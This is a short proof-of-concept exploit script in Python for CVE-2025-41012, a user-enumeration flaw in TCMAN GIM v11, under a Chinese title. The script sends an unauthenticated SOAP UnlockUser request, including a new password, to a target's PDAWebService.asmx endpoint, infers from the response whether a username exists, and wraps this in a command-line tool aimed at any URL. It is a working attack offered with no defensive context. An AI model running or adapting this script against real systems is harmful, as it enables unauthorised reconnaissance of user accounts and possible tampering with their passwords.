CVE-2025-41012: TCMAN GIM v11用户枚举未授权访问漏洞

import requests import sys def check_user_exists(target_url, username): """ PoC for CVE-2025-41012: TCMAN GIM v11 User Enumeration This script checks if a user exists in the system via PDAWebService.asmx """ endpoint = f"{target_url}/WS/PDAWebService.asmx" # SOAP request payload for UnlockUser action soap_payload = f"""<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:pda="http://tempuri.org/pda"> <soap:Body> <pda:UnlockUser> <pda:userId>{username}</pda:userId> <pda:newPassword>TestPassword123</pda:newPassword> </pda:UnlockUser> </soap:Body> </soap:Envelope>""" headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': 'http://tempuri.org/pda/UnlockUser' } try: response = requests.post(endpoint, data=soap_payload, headers=headers, timeout=10) # Analyze response to determine if user exists if 'user not found' in response.text.lower() or response.status_code == 404: return False elif 'unlock' in response.text.lower() or response.status_code == 200: return True else: # Check for differences in response patterns return None except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python cve-2025-41012_poc.py <target_url> <username>") print("Example: python cve-2025-41012_poc.py http://target.com admin") sys.exit(1) target = sys.argv[1] username = sys.argv[2] print(f"[*] Checking if user '{username}' exists on {target}...") result = check_user_exists(target, username) if result is True: print(f"[+] User '{username}' EXISTS in the system") elif result is False: print(f"[-] User '{username}' does NOT exist") else: print(f"[?] Unable to determine user existence")